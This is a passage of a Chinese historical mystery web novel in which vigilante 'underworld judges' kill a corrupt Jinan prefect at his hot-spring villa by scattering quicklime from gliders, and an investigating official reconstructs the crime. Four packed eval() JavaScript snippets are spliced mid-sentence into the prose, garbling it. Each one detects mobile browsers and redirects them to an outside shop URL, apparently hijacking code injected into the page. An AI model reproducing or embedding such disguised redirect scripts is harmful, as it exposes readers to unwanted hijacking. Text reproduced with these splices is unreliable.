他实在是她毕生所见，最难缠也最神秘的对手了。 唐珠儿并不知道晏回此刻心中所想，只是拍着巴掌道：“也就是说，阿姊要对那姓孟的动手了！” 晏回将心绪从沈忘身上抽离回来，微微颔首：“明日起，长生观闭观七日。待观门重开之日，便是济南府变天之时。” “那我挨阿姊这顿打，也算是值了！”唐珠儿笑逐颜开的仰起头，眉目里的喜气简直要溢出来，对上的却是晏回神色淡然的双眸，唐珠儿冲口而出的笑声猛地咽了回去。 “至于你——” 唐珠儿狠狠咽了一口口水。 “接着抄，今晚，我会再来查的。” 唐珠儿握着笔，看着晏回消失在殿门外的背影，又低头看看宣纸上被泪水晕开的经文，忽地“噗嗤”笑出了声来。她抹了把眼角的湿意，重新跪直身子，笔尖落在纸上，一笔一划地重又抄写起来。 * * * 晏回推门而出之时，恰好见到一袭白色背影一闪而过，那如同红豆掉入绿豆筐中明显的人影，都不用猜便知道是范凌舟。 范凌舟倒是丝毫不觉尴尬，还佯装没有看到晏回一般，自顾自地哼起小调来。 “范无鱼，”晏回并没有给他装疯卖傻逃跑的机会，“你又在偷听。” 范凌舟这才转过身子，夸张地高扬起眉毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184851|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一副不可置信地样子：“偷听？什么偷听？只是月色正好，贫道又同西楼心有灵犀，同往一处来，同赏一片景，这才有缘得见，无量天尊——” 他拉长了尾音，双手合十，微眯起眼睛，如同一只阳光下笑着的狐狸。 晏回从鼻腔中冷冷哼出一声：“油嘴滑舌。”她转身欲走，毕竟留给她的时间只有七天了，她要抓紧一切机会，为那济南知府孟威，量身打造独属于他的“无间地狱”，是以分秒不得松懈，没有闲情逸致同这狐狸道长扯东扯西。 “诶诶诶——怎么刚聊两句就走啊！”范凌舟赶紧伸展双臂，挡在晏回身前，软了语气，“好好好——我确实偷听了，是我不对。” 晏回不言语，只是抱臂凝着他。 “倒也不是刻意为之，你瞧——”范凌舟有些委屈地指了指手中的药囊，“我也是想来给那丫头送药，也是巧了。” 晏回的唇角浮出一丝浅淡的笑意：“你们虽是整日争吵不休，聒噪得紧，可此事上，你确是有心了。” “那是！”范凌舟得意地一抬下颌，“毕竟，我知道你是在意她的。” 他知道晏回曾经有个弟弟，和她的父母一道，殒命于三年前那场大火里。那唐珠儿平素娇纵跋扈，挠人咬人无所不用，可偏生年纪小，很得晏回垂青。范凌舟私下想着，怕不是晏回把唐珠儿当做了自己早逝的亲人，这才另眼相待。若是如此，自己心中翻涌的醋意，亦会平息些许。 闻言，晏回唇边的笑涡淡了下去，眉目间添了几分疏离之感：“两手空空之人，谈何在意。”言毕，转身消失在芜廊深处。晏回的体态本就瘦削，此刻被朦胧的月色一映，模糊了轮廓，整个人如同要融化在那苍茫的夜色中一般。 范凌舟盯着她的背影，不由得眼睛发涩。 晏西楼此人，几乎是点滴都极合他的心意，他时常会疑惑，莫不是自己前世积了福报，今世方能碰到这样神仙人物。可是，唯有一样，他是极忌讳的，便是晏回挂在嘴边的那句“两手空空”。 她何曾两手空空，只是她从未往自己手中瞧上一眼！ 范凌舟有些气恼，看了看自己手中的药囊，嘟囔道：“还叭叭给人家送药呢，范无鱼，你自己先吃点儿药吧！” 他一扭身，选择了和晏回相反的方向，大踏步离去。 52. 不秋草（十七） 济南府的估衣巷从未这般热闹过。 百姓们争相从茶馆、布庄的门缝里探出头，瞠目结舌地盯着面前浩浩荡荡的车马队伍。 头前是二十名挎刀衙役开道，中间是十辆乌木马车，马车四面皆是丝绸装裹，窗牗以轻纱遮挡，看不清马车内部的景象；最后压阵的是三十余名挑夫，扁担上挑着箱笼、盆景、甚至还有两笼雪白的波斯猫。猫儿碧蓝色的瞳仁倒映着人们或惊叹、或鄙夷、或艳羡的目光，显得光怪陆离，不似人间景象。 “乖乖，这就是那孟瘸子的家当？”扛着糖墩儿靶子的花增光砸吧着嘴道。 “全部？瞧你那没见识的样子，只是九牛一毛罢了。”一旁的豆腐摊子上，一位正在喝豆腐脑的老主顾道。 花增光被怼得懊恼，气道：“行行行，你有见识，那你讲讲呗，看看你有多大见识！” 那老主顾擎等着这句呢，立马接过话头道：“还真让你说着了，我有个表弟，就在孟知府手底下当差，我听他讲，这孟知府啊，每到秋末冬初之际，都会举家搬至章丘县的温泉别院里熬冬。” 花增光听得直恶心，怒声怒气道：“还温泉，还熬冬？这般达官显贵的冬日子还用熬吗？那咱们平头老百姓算什么？” “瞅瞅把你能的，你这卖糖墩儿的能和人家孟知府比吗？这孟府君素有痹症，每至冬寒便酸痛难耐，唯有那章丘女郎山下的温泉浴汤方能暂缓其苦。你且想吧，至岁深暮重，大雪漫天之际，饮一壶好酒，泡一场浴汤，实乃人生一快事也！”那老主顾神往地抻长了脖子，似乎眼前就是鹅毛雪落，热泉蒸隆，眸子里皆是神往之色，全让忘记了自己手中还拿着汤匙，匙里还晃动着白嫩嫩的豆腐。 “嗤——”花增光不屑道，“快吃你的豆腐脑吧！我看啊，没见识的是你，见惯了这帮鱼肉百姓的贪官污吏，自己也跟着捧人家的臭脚，不知道的还以为你是那孟瘸子的连襟呢！什么泡浴汤，什么痹症，我看啊，这孟瘸子就是让地府判官吓傻了，这是灰溜溜地往章丘跑呢！该！”花增光怒气冲冲地往地上啐了一口，又瞪了那渐行渐远的车队一眼，骂骂咧咧地扛起竹靶子，转身走了。 “这人有病吧！”那老主顾被骂得脸色通红，转头问豆腐摊子的老板，欲从对方那里得到些回应。孰料，正瞧着老板一甩手，扬了他碗里剩下的豆腐脑。 “咱小门小户，可伺候不起您这样的大爷。您快跟着孟府君去吃香的喝辣的吧！说不定，还能跟着泡泡那女郎山的浴汤呢！” 听老板这般讥讽，老主顾的脸色由红转白，又由白转青，他腾地一下站起身，抛下一块铜板，怒道：“嫉妒，你这就是嫉妒！”说完，一路小跑着离开了。 老板下意识地反手将铜板丢到地上：“谁要你的臭钱！” 铜板可怜兮兮地躺在地上，不多时，就被马蹄溅起的尘土覆了满身。 “无量天尊——”一声悠悠然的诵号响起，一名道长缓步走来，俯身拾起那枚铜板。“臭钱也是钱，何必同钱过不去。” 那道士眉目生得极好，笑起来眉眼弯弯，让豆腐摊子老板瞬时没了脾气，他正欲伸手接过铜板，却见那道士一翻手腕，将铜板收入自己怀中：“既然老板不要，那贫道也只好笑纳了，无量天尊！” * * * 章丘县，女郎山下。 冗长的车队在山路上行了一个时辰，终于抵至别院门前。只见依山而起一片青瓦院落，朱漆大门前悬着“孟氏山房”的匾额，黑漆描金，极是气派。门侧两尊石狮蹲踞，阶前松柏苍翠，枝干斜斜探向山道，将半个院门遮在浓荫里。 门外道旁早已候着别院的仆役，见车队到了，忙不迭上前牵马卸辕，箱笼盆景流水般往院里搬，两笼波斯猫则由专门的猫把式领了，往西厢的暖阁去了。 车帘被管家赵纳福轻轻掀开，一股混合着水汽与松香的湿润气息扑面而来，济南知府孟威缓缓抬眼，望着那熟悉的朱门，石狮，以及后院贴靠的高耸壁立若水墨大写意般的山石，一直悬在嗓子眼的心，总算落回了腔子里。 他扶着赵纳福的手臂，踉跄着下了车，长长吁出一口气，似是要把在府衙里受到的腌臜气一股脑儿吐出去。 “老爷，仔细着脚下。”赵纳福压低声音劝慰道，“咱们可算是回家了。” “人手都安排好了？”孟威冷冷道。 “老爷自是放一百个心，”赵纳福朝后院的方向瞄了一眼，道：“咱们这处别院，紧傍着女郎山，后院那山石陡得跟刀削似的，别说人了，便是山里最灵的猴子也爬不上来，除了飞鸟，谁能从后院进来？”紧接着，他又指了指前院，那里早有挎刀的护卫大马金刀地站定，“咱们带来的人，尽数压在前院，三步一岗五步一哨，三班巡逻昼夜不间断。到了夜里，灯笼会从院里直挂到山脚，保准亮如白昼。” 赵纳福凑近孟威，声音极轻：“莫说是地府判官那帮鸡鸣狗盗之辈，便是锦衣卫来了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184852|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也未必能敌。” 赵纳福伺候了孟威多年，如何不知他心中忌惮。果不其然，听了赵纳福这番吹嘘后，孟威的脸色明显好了很多。 “嗯——”他悠悠地从鼻腔里挤出一声应，“倒是想得周全。” “这都是小的该做的。”赵纳福赔着笑，扶着孟威往院里走，“暖玉泉的汤早就备好了，就等您去松快松快。小的还让厨房炖了驱寒的羊肉汤，就着新酿的米酒，喝上两碗，保管您夜里睡得安稳。” 孟威唇边绽开一丝笑意，道：“那敖远还想让我当诱饵，引那些地府判官上钩，想让我命悬一线，而他高高挂起，笑话！我自要看看，我这一走，济南府的烂摊子他还怎么周转得开！” “走！”孟威大手一挥，“同本老爷喝酒，吃肉！” 此刻，成竹在胸的孟威并不知道，顺着孟氏山房几经雕琢，日臻完美的后院花园垂直向上，沿着刀劈斧凿般没有任何弧度的崖壁一路上行数十米，有一处不引人瞩目的凸起，几丛野棘掩映的背阴处并排趴伏着三个人影，正遥遥窥视着下方的情形。 “三日后，定然有雪吗？”晏回没有转头，目光紧紧钉在正往后院去的小小人影上。 范凌舟闻言，轻笑出声：“西楼，你是信不过我，还是信不过这天象？昴宿犯月，斗柄西斜，乃是寒凝之兆，三日后必有大雪。贫道观星，从无一次失手。” 晏回微微颔首，没再追问，只是目光又落回山下。暮色渐起，前院的护卫正提着灯笼来回走动，灯影摇动，如同一双双困兽的眼睛。 见晏回不说话，一旁的唐珠儿却是憋不住了，学着范凌舟的样子，摇头晃脑，怪腔怪调道：“从无一次失手——你可记住了，到时候若出了问题，就砍了你的狐狸脑袋。” 范凌舟眯起眼睛，懒洋洋笑道：“我的脑袋砍不砍，你说的不算，倒是你，挨了三十大板，还能保持平衡吗？若是体力不济，可要早些言语啊！” 这一句话，连戳唐珠儿两次肺管子，少女脸上的笑意瞬时收敛，她冷冷地上下打量了一眼范凌舟，如同看一个死人：“晏回姊姊，什么可杀不可辱，我现在能杀了他吗？” 晏回叹了一口气，始终没有回头：“现在不能。” 范凌舟无声地大笑起来。唐珠儿气得往晏回身边缩了缩，心中筹划着自己的复仇计划。山风呜咽，如同鬼哭，将三人的心思各自掩住，唯余山下那片亮着灯火的院落，等待着三日后即将漫天的风雪。 53. 不秋草（十八） 三日后，夜。 暖玉泉的水汽氤氲在周身，烫得骨节里的酸痛都化作了绵柔的暖意。孟威倚靠在温泉石上，晃动着夜光杯中暗红色的琼浆，浑圆的月亮倒映在杯中，如同尸山血海中孕育出的宝珠。孟威微一仰头，酒液顺着喉咙滑入，连带着心口的郁郁之气都散了大半。 他挥了挥手，屏退了廊下伺候的仆役，连赵纳福也被他打发去前院盯着。自那地府判官用铁扦钉死了裘县令以来，自己杯弓蛇影，草木皆兵，睁眼是密探，闭眼是刀光，实在是苦不堪言。唯有此刻，浸在这温热的泉水中，听着松涛与泉声相和，才算得了片刻清净。 月色透过蒸腾的水汽，在泉面上洒下一片碎银般的光。孟威眯着眼，就着那袅袅的热气自斟自饮。不多时，一壶葡萄酒便见了底，脸颊也泛起微醺的红。 突然，孟威挺起自己那随着年华逝去，已略显塌陷的胸膛，大声吟诵道：“早岁那知世事艰，中原北望气如山。楼船夜雪瓜洲渡，铁马秋风大散关——” 壮志难抒的郁结之气冲口而出，化作唇齿间的白气，蒸腾而上。无论是那惨死的裘县令、孙世庸、卫光，亦或是如今大权在握的敖远，他一概都眼瞧不上，心有不甘。他孟威，才应该是鹰巢下辖济南府的掌舵人！凭什么要让他这般不世之材屈居于他人之下，他不服！更遑论那帮杀人越货的地府判官，什么狗屁判官，他们又有什么资格审判自己呢！ “塞上长城空自许，镜中衰鬓已先斑——”心潮荡漾间，孟威的声音都有了隐隐的颤抖。 “出师一表真名世，千载谁堪伯仲间【1】！”他狠狠一挥手，拍击得水花四溅，涟漪顿起。 忽地，鼻尖传来一丝凉意，孟威抬起头，穿过缥缈的水雾，只见漆黑的天幕之上，鹅毛般地雪花打着旋儿坠了下来。 “好雪！”他低叹一声，胸中豪气顿生，竟忘了腿上的痹症，撑着石栏站起身。他仰头望着漫天飞雪，只觉天地间一片苍茫，所有的烦忧都被这大雪覆盖，心中竟是前所未有的畅快。 就在这时，头顶猛然一暗。 有三只巨大的黑影从云层间俯冲而下，直扑而来，几乎遮蔽了孟威全部的视野。他从未见过如此嚣硕的猛禽，臂展之巨连月轮都望尘莫及，肆意飘散的雪花被它们的羽风所扰，皆斜掠而起，如同无数被惊飞的白鹭。耳畔，隐隐传来又似风啸又似鸟鸣的镝音，锋锐异常。 孟威何曾见过如此怪鸟，浑然忘了自己还裸//身立在浴汤里，只是长大了嘴巴，目眦欲裂地仰视着。起初，他还疑心是自己喝多了葡萄酒，生了幻觉。可很快，他就给自己找到了足够信服的答案。 “天命玄鸟，降而生商！这是玄鸟，玄鸟啊！”心头狂喜，孟威不由得狂笑起来：“我就知道，我才是天命所——啊！” 孟威的大笑被一声变了调的尖叫代替，一种烧灼的痛楚自面目传来！那种灼痛感绝非幻觉，孟威清晰得感觉到，每当有雪花接触到皮肤，他便会感到一阵烙铁灼肤的滚烫， 瞬间便在他脸颊、脖颈燎出一片红肿。 他惊恐万分，下意识伸手去抹，却带下来一层血肉。他吓得踉跄后退，却发现方才还温热舒适的泉池，此刻竟像滚开的油锅般剧烈翻腾，水面咕嘟咕嘟冒着浑浊的白泡。而那些从玄鸟的羽翼间坠落的雪花，每一粒都如同给这口“油锅”火上浇油，激起一阵紧似一阵，更可怖的灼烫狂欢。 那种炖煮的剧痛，混杂着一股麻痹感冲上脊柱，孟威惨叫着，拼尽全力想要逃离这口沸腾的油锅，却惊惧地发现，他的四肢竟然不能动了！ 撕心裂肺的痛楚折磨下，他唯有嘶声大喊：“救命！来人！赵纳福——！” 他的声音被一片浓重的白色雾气吞噬了。不知何时，泉池上空凝结成一片白茫茫的雾障，遮天蔽日，连头顶的月光和飞雪都被彻底隔绝。孟威在雾中什么也看不见，只能凭本能胡乱扑腾，麻痹的双手妄图摩挲些什么，可指尖触到的只有不断翻腾的滚水，根本抓不住任何实体。 他四周的水面上，皆是皱缩烫熟的血肉，如同一碗刚出炉的上好鸡汤。 就在彻底绝望之际，孟威听到“扑通”一声响，似有重物坠入池中。 下一刻，一只滚烫的手抓住了他的胳膊。那只手攥得很紧，只一触便粘连下孟威小臂上大片皮肉，疼得他浑身痉挛，却又奇异地抓住了一丝生机。 “老……老爷！”濒死之际，孟威听到了赵纳福的声音。“快到小的背上来！”孟威费力地抬了抬眼皮，模模糊糊看到有一个人影，正半跪在沸水中，拼力将他往上托着。 孟威想说些什么，却只能发出嗬嗬的哀鸣。 视野倾斜，他终于被赵纳福扛在了肩上，他能听见赵纳福的脊梁骨压得咯吱作响的声音。他大头朝下，只能看到不断有血肉剥落，飘散在欢腾跳跃的水面上，很快，水面已是一片赤红。赵纳福越走越慢，前路似乎永远没有尽头。 “好疼啊……好疼……”他听见赵纳福在低声抱怨，像往常一样。 孟威记得，自己每次醉酒，都是赵纳福手扶肩抗得搀他回家。他借着酒劲，大骂不顺的仕途，傲慢无礼的敖远，阴魂不散的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184853|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈忘。而赵纳福只是默默听着，唯有在他骂声不绝的间隙，会隐隐听到对方小声地抱怨一句：“好沉啊……” 可惜，现在的他已经没有余力回应这位老奴的怨言了，只能撑起最后的神识，更用力地抱住对方佝偻的腰，手指深深嵌进他的皮肉里。 突然，他感觉身子重重一顿，耳畔传来一声近乎悲鸣的低吼，孟威的身体越过石沿，重重摔在岸边的雪地上。冰冷的积雪瞬间裹住他滚烫的身体，发出“嗤嗤”的融化声。 而尚在温泉之中的赵纳福却是再也撑不住了。 他的手臂脱力般垂落，身体像一截断木，直挺挺地向池底坠去。下落时，他的头向后仰着，望向岸上主人的方向，嘴唇翕动着，似乎想说什么，却只吐出一串带着血沫的气泡。很快，赵纳福的身体便彻底看不见了。 * * * 不远处屋脊的阴影里，三道身影如同隐在夜色中的太湖石，静得没有一丝气息。晏回、范凌舟、唐珠儿蹲踞在房顶的灰瓦之上，默然无语地凝视着温泉池中的情形。赵纳福的介入使得他们的计划偏离了轨道，也使得本该毙命于“沸汤地狱”中的孟威有了喘息之机。 晏回的目光掠过温泉边乱作一团的仆役，以及被护卫死死围在中心的孟威，心知此刻动手无异于自投罗网。她缓缓抬起右手，食指与中指并拢，向下压了压，示意范凌舟和唐珠儿执行第二项备用计划。 唐珠儿早已将三架机关木鸢拆解重组，折叠成半人高的长匣背在身后。见晏回下达了命令，珠儿郑重点了点头，足尖在瓦上一点，身形如柳絮般飘起，几个起落便消失在西侧的松林里，雪地上只留下几个浅淡的足印，转瞬被新雪覆盖。范凌舟则朝着相反的方向转身跃下屋脊，没入东侧的回廊阴影里。 二人的动作本就轻灵，此刻众护卫的注意力都被重伤的孟威牵扯着，丝毫没有注意到屋脊上的异样。见唐珠儿和范凌舟都迅速投入了新的计划之中，晏回定了定神，盘算着该如何以最快的速度，再次击杀孟威于无形。 突然，“砰”地一声巨响。 晏回立时回眸，只见原本紧闭的朱漆大门被巨力撞开，紧接着，一阵密集的马蹄声踏碎了雪夜的寂静，火把的光如同潮水般涌入院中，将雪地映照得一片通红。为首一人，头戴纻丝直檐大帽，身披一件如圆月洁白的素绸鹤氅，端坐马上。玄色的大帽，漫天的飘雪，纯白的鹤氅，橙红的火光，数种纯粹而浓烈的色彩交织在一起，冲击着晏回逐渐睁大的眼睛。 那人微微仰头，露出帽檐下清俊无匹的脸，正是沈忘！ 54. 不秋草（十九） 沈忘翻身下马，快步走到垂死挣扎的孟威身边。 孟威趴在雪地里，背部、四肢的皮肤大片溃烂，露出底下翻卷的红肉，雪水混着血水在他身下积成一滩暗红，人已疼得昏死过去，唯有喉咙里还发出微弱的嗬嗬声。池水中，赵纳福的尸体半浮半沉，肿胀的手指仍保持着弯曲的姿势，像是死前还想要抓住些什么。 “停云。”沈忘声音不高，却穿透了现场的嘈杂。 一个背着药箱的清瘦身影立刻排众而出，正是柳七柳停云。她疾步上前，蹲下身按住孟威的脉搏，又翻开他的眼皮看了看，眉头微蹙：“孟知府灼伤面积达三成，皮肉烫熟，且有麻痹症状，需立刻清创敷药，否则恐有性命之忧。” 沈忘点了点头：“可有办法先稳住他，我有话要问。” 柳七应了一声，打开药箱，俯身忙碌起来。趁此间隙，沈忘对一直守卫在身侧的虬髯大汉道：“逐房排查，别院内所有丫鬟仆役，不论老少，尽数带到温泉池边来。”又转头吩咐早已吓傻的别院护卫：“孟知府危在旦夕，本官乃山东按察使沈忘，从现在起，汝皆听我号令，明白吗！” 他的声音陡然拔高，带着不容置疑的威压，让护卫不由得打了个冷战。 “立刻关闭别院所有大门、侧门，包括后山角门，门闩落死，铁锁加封，五人为一队进行看守，在本官允准之前，任何人不得进出孟氏山房！” “遵……遵命！” 护卫颤声应罢，立即分头行动。沈忘缓步绕池而行，耳听着远处传来杂沓脚步与压抑啜泣。火把在风中明灭，光斑映在沈忘微微低垂的脸上，辨不清表情。 他蹲下身，凝视着被无数脚印踩踏过的雪地，突然探出手，用指尖捻起一点雪末，放在鼻尖轻嗅。 并非是雪花特有的清冽冷潮，反而带着些许呛人的碱味。 “这是……白灰？” 抬眼望去，大雪仍在覆天盖地地落着，似乎永远没有尽头。 “原来如此。”沈忘轻声道，“将白灰混在雪中，雪落无声，白灰遇水发烫，自然能杀人于无形……” 这时，一声痛苦的呻//吟打断了沈忘的思绪，只见孟威抽动了数下，竟是醒了。 沈忘走到孟威身边，缓缓蹲下。此刻的孟威已然面目全非，虽然赵纳福拼死将他托出了温泉池，可重伤已然不可避免。生死一线之间，仅靠着柳七精湛的医术和封住穴位的银针，换得了他片刻的清醒。 孟威半睁着几近失明的眼睛，向沈忘伸出一只遍布燎泡的手：“沈大人，救……救我……玄鸟……玄鸟要杀我……杀……我……” 他的声音含混不清，沈忘几乎要贴着他翕动的唇舌，方能听个大概。 “玄鸟，你可有看清？” “三只……三只啊！天命玄鸟……降而生商……是来接我的……是来接我的！”孟威脸色青白，神志不清地重复着，“可那雪……雪是烫的，好疼啊，好疼啊！” 沈忘眉头蹙了蹙，躲开了孟威抓过来的手，压低声音对柳七道：“停云，孟知府可还有救？” 柳七郑重地点了点头：“若是以药汤吊着，精心护理，伤者又有强烈求生欲望的话，或有一搏之力。” “那他们……定然不会善罢甘休。”沈忘这句话说得极轻，被呼啸的北风一吹，连近在咫尺的柳七都没有听见。 沈忘站起身，洁白宽大的鹤氅在他的身后从容舒展开来，如同一只在风雪中振翅的白鹤。他的目光掠过在温泉池边站定的众人，在虬髯大汉的引导下，整个孟氏山房的主仆皆立于此，惶惑不安地注视着这池中地狱般的场景，紧张得大气儿都不敢出。 没错，就是地狱。 “《大宝积经》中记载，地狱道中有八热地狱，第五层即为沸汤地狱。此地狱中，有大铜镬，满中沸铁，火焰炽盛。罪人堕入，骨肉消烂，唯余骸骨。裘县令、孙同知、卫理问和如今的孟知府，分别对应铁床狱、铁嘴狱、阿吒吒狱、沸汤地狱，这是地府判官们为他们刻意营造的地狱。” “凭他们的本事，府衙地牢尚且拦他们不住，知府大人的护卫恐怕也难阻上几时。可他们偏偏艺高人胆大，每一场杀戮都要暗合地狱的审判，勿令完美，而就是这种近乎偏执的完美，反倒成为了他们的软肋。” “孟知府”，沈忘的声音透着悲悯，说出的话语却暗含讥讽，“你所认为的给你传达天命的玄鸟，如果我没有猜错的话，应该是墨家早已失传的机关术——飞鸢。孟氏山房背靠女郎山，山体陡峭，猿猱难行。今日天降大雪，北风骤起，若在风起之时，操纵飞鸢，自山崖上一跃而下，便能借着山风滑翔数百米，落点——”沈忘微微抬了抬下颌，目光看向不远处的屋脊，“应该就是那处屋脊。” “来人，去那处屋脊上仔细搜索，看看是否有遗落的脚印或者擦蹭痕迹。还有，速速去各处伙房和后厨的炉灶中查看，说不定可以发现飞鸢的残骸。” 虬髯汉子立时领命，带人前去，不多时便带回了消息，一切皆如沈忘所料。 “大人神机妙算，若不是查找得即时，那飞鸢只怕烧得灰都不剩了。” 沈忘笑着颔首：“辛苦了。” “而孟知府所言的‘烫雪’，也非是雪，而是飞鸢掠过温泉池上空洒下的白灰。干燥的白灰，与人体短暂接触，并不会有什么危害，是以，方才无论是我还是来往的护卫、仆从，都曾触碰过落雪，却并未受到伤害。可白灰入水，却能瞬间升温，将本来温度宜人的温泉水在转瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184854|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间变成佛经中记载的‘沸汤地狱’。” “在孟氏山房中，有资格浸润温泉池水的，只有孟知府一人。所以，无论此计成与不成，都不会伤及他人，所针对之人唯有孟知府。只要将生石灰倾泻入池中，再想办法困住孟知府的行动，那孟知府便只能‘接受审判’了。” 柳七闻言，应道：“确实如此，孟知府的肩颈处有一极细小的孔洞，应是用细如牛毛的吹针所伤。针上涂以麻药，便可使孟知府四肢麻痹，寸步难行。” 沈忘垂眸，看向温泉池中上下浮沉的赵纳福，此时仆役们正拿着捞网和铁钩，试图将赵纳福打捞上来。可只是轻微触碰，成片的血肉便从赵纳福的尸体上脱落下来，场景惨不忍睹。 “可惜，他们算错了一点，他们没有想到，孟知府手下竟还有赵管家这般忠仆，宁可舍了自己的性命，换得主人偷生。” “可不是，秦桧还有倆相好的呢……”虬髯汉子小声嘟囔了一句，沈忘的目光轻轻扫过，他赶紧住了口，佯装看向远处风雪漫天中的山峦。 沈忘曾命他前往府衙的地牢中解救无辜女子，自那日起，他便恨透了这人面兽心的孟知府。今日眼瞧着这孟知府痛不欲生，他虽是心中震动，却并无一丝怜悯，甚至还隐隐为那些地府判官们叫好。 他至今还记得那地牢中偶遇的蒙面女子，身手利落，冷静果决，当真是人中龙凤。自己这也就是跟从了沈大人，若还是当年落草为寇的境遇，只怕自己也愿意投奔那长生观诸人，做一世惩奸除恶的地府判官。 正自这般想着，却听沈忘继续道：“这种失误，对于地府判官来说，是不被允许的。在他们的认知里，孟知府今日必死。而刚刚柳仵作当众所言——若以药汤吊着，精心护理，伤者又有强烈求生欲望的话，或许孟知府还能生还。这句话无疑会加剧他们的决心。”他负手转身，缓步走到瑟瑟发抖的仆从们中间，“所以，他们定是混在你们中间，等着下一次机会。” 他的目光缓缓移动，最后落在一个端着药碗的瘦削丫鬟身上。那丫鬟穿着粗布青裙，梳着双丫髻，脸上沾着几点灰，低着头，似乎被现场的惨状吓得不轻，双手微微发抖，药碗里的药汁都晃了出来。 没有人察觉出她的异样，可阅人无数的沈忘却终究发现了端倪。 她的站姿很稳。 寻常丫鬟受惊时，膝盖会发软，身子打晃，她却只是双手抖，双腿绷得笔直，像是常年习武之人的习惯。还有她的手，虽沾着灰，指节却有一层薄茧，那是常年握持机关、兵刃才会有的痕迹。 沈忘慢慢朝她走去，鹤氅在雪地上拖出一道浅痕。火把的光落在他清俊的脸上，映得他瞳孔里像燃着两簇小小的火苗。 “姑娘，药凉了。” 55. 不秋草（二十） 没有一丝被捉当场的慌乱，那丫鬟却是笑了。清浅的笑容绽放在白皙瘦削的面容之上，淡极生艳，竟是令人目眩神迷。 下一瞬，人群里忽然爆起一声闷响！混杂着硫磺与硝石的刺鼻白烟瞬间腾起，裹挟着草木灰的碎屑，将周遭数丈笼罩得伸手不见五指。这是万历年间夜不收特制的“烟幕包”，以硝磺为引，混上干艾草和煤粉，专用于制造混乱，顺势突围。 是时，众人正被沈忘引着，思考着案情，哪能料到如此变故，当下便如无头苍蝇般乱作一团。在人群的推挤碰撞中，沈忘只觉眼前一花，近在咫尺的女子就这样凭空消失了。 其实，在沈忘走向晏回的那一刻，隐藏在廊檐下的范凌舟就已经做好了准备。见沈忘已然猜出了幕后真凶，范凌舟也不再犹疑，炸响了烟幕包。 凭借着多年的默契与配合，范凌舟不费吹灰之力便在烟雾中寻到了晏回。他轻轻捉住晏回垂落在一旁的手腕，想要在烟雾的掩护下同晏回一道突围。按照计划，唐珠儿在烧掉飞鸢之后就会先行撤离，而楚庸还在约定好的暗巷中等待，只待他们二人一到，便可溜之大吉。 可是…… 在指尖触到晏回手腕的瞬间，对方也猛地回过了头。 范凌舟下意识地松开了手。 那种目光，他曾经见过。三年前，在那个暴雨倾盆的夜里，在那个狭路相逢的废弃大宅里，在那骤然爆起的火光中心，是和今时今日一模一样的，从不曾退让的，不死不休的眼睛。 他知道她的意思。 孟威今日必须死。 在她前行的路上，任何阻碍，一并除之。人挡杀人，佛挡杀佛，她就要他们——浮尸百里，血流成河！ 晏回转身就朝孟威的方向冲了过去。 烟雾乍起之时，柳七正在给孟威施针。凭借对于危险天生的敏锐，在四周乱作一团，众人尖叫奔窜时，柳七扎稳了马步，扶住孟威的头颈，将银针藏入指缝指尖。果然，下一瞬，浓雾中一道黑影凌厉袭来。 柳七旋身抬臂，银针如星，刺向黑影的腕脉。那人却不躲，左手翻腕格开她的手肘，右手成刀砍在柳七颈后。只是闷哼一声，柳七便软倒在地，失去了意识。 晏回看着仰躺在雪地上，昏迷中仍紧握银针的女子，轻声道了句：“得罪了，柳仵作。” 她心中对柳七存了敬意，是以下手留了分寸，不出一个时辰，柳七便能自行转醒。可对于此刻的孟威来说，却是地狱将至。 在柳七的妙手回春之下，孟威的意识已然清醒了大半。他眼瞧着面前一身丫鬟打扮的女子，动作迅捷的蹲下身子，从靴中抽出一把短刃。那刀身窄而利，泛着冷光，映得那女子琥珀色的瞳仁灼灼发烫。 